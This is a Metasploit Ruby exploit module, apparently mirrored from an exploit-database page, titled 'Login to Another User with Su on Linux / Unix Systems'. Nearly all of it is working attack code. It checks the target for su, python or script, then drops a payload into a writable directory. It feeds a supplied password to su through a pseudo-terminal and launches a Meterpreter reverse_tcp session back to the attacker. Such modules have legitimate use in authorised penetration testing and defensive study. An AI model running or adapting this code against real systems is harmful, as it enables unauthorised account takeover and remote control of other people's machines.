Share
## https://sploitus.com/exploit?id=PACKETSTORM:159652
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
include Msf::Post::Linux  
include Msf::Post::Linux::System  
include Msf::Post::Unix  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
prepend Msf::Exploit::Remote::AutoCheck  
  
Rank = NormalRanking  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Login to Another User with Su on Linux / Unix Systems',  
'Description' => %q{  
This module attempts to create a new login session by  
invoking the su command of a valid username and password.  
  
If the login is successful, a new session is created via  
the specified payload.  
  
Because su forces passwords to be passed over stdin, this  
module attempts to invoke a psuedo-terminal with python,  
python3, or script.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Gavin Youker <youkergav@gmail.com>',  
'DisclosureDate' => '1971-11-03',  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Linux x86', {  
'Arch' => ARCH_X86,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux x86_64', {  
'Arch' => ARCH_X64,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'SessionTypes' => ['shell', 'meterpreter']  
)  
)  
  
register_options([  
OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']),  
OptString.new('PASSWORD', [false, 'Password to authenticate with.'])  
])  
  
register_advanced_options([  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
])  
end  
  
# Main function to run the exploit.  
def exploit  
fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])  
  
# Upload the payload and stager files.  
print_status('Uploading payload to target')  
payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])  
  
# Execute the payload.  
print_status('Attempting to login with su')  
exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file)  
end  
  
# Function to check if target is exploitable.  
def check  
# Make sure su is installed.  
unless command_exists?('su')  
vprint_error('su not found on target machine')  
return CheckCode::Safe  
end  
  
# Make sure a program to run the exploit is installed.  
prorgam = find_exec_program  
unless prorgam  
vprint_error('One of the following programs must be installed on target: python, python3, script')  
return CheckCode::Safe  
end  
  
# Make sure script requirements are met.  
if prorgam == 'script'  
# Check for command dependencies.  
commands = ['sh', 'sleep', 'echo', 'base64']  
for command in commands  
unless command_exists?(command)  
vprint_error("The '#{command}' must be installed on target")  
return CheckCode::Safe  
end  
end  
  
# Check that the script program is apart of the util-linux package.  
version = find_util_linux_verison  
unless version  
vprint_error("The 'script' program must be of the 'util-linux' package")  
return CheckCode::Safe  
end  
  
# Check that util-linux in of a compatible version.  
unless version >= Gem::Version.new('2.25')  
vprint_error("The package 'util-linux' must be version 2.25 or higher")  
return CheckCode::Safe  
end  
end  
  
return CheckCode::Appears  
end  
  
# Function to build and write the payload.  
def build_payload(contents, dir)  
fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)  
  
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"  
  
write_file(filepath, contents)  
chmod(filepath, 755)  
register_files_for_cleanup(filepath)  
  
return filepath  
end  
  
# Function to execute the payload through the stager.  
def exec_payload(username, password, payload)  
# Load the exploit based on avaliable options.  
if password  
program = find_exec_program  
if ['python', 'python3'].include?(program)  
vprint_status("Using '#{program}' to load exploit")  
  
python = 'import os, pty, base64;'\  
'read = lambda fd: os.read(fd, 1024);'\  
"write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"\  
"command = 'su - #{username} -c #{payload}';"\  
'os.close(0);'\  
'pty.spawn(command.split(), read, write);'  
  
command = "#{program} -c \"#{python}\""  
elsif program == 'script'  
vprint_status("Using 'script' to load exploit")  
command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'"  
end  
else  
command = "su - #{username} -c #{payload}"  
end  
  
# Execute the exploit.  
response = cmd_exec(command)  
  
fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')  
return true  
end  
  
def find_exec_program  
return 'python' if command_exists?('python')  
return 'python3' if command_exists?('python3')  
return 'script' if command_exists?('script')  
  
return false  
end  
  
# Function to check if the user exists.  
def user_exists(username)  
return get_users.any? { |user| user[:name] == username }  
end  
  
# Function to get util-linux version.  
def find_util_linux_verison  
response = cmd_exec('script -V')  
match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/)  
  
return false unless match  
  
return Gem::Version.new(match[:version])  
end  
end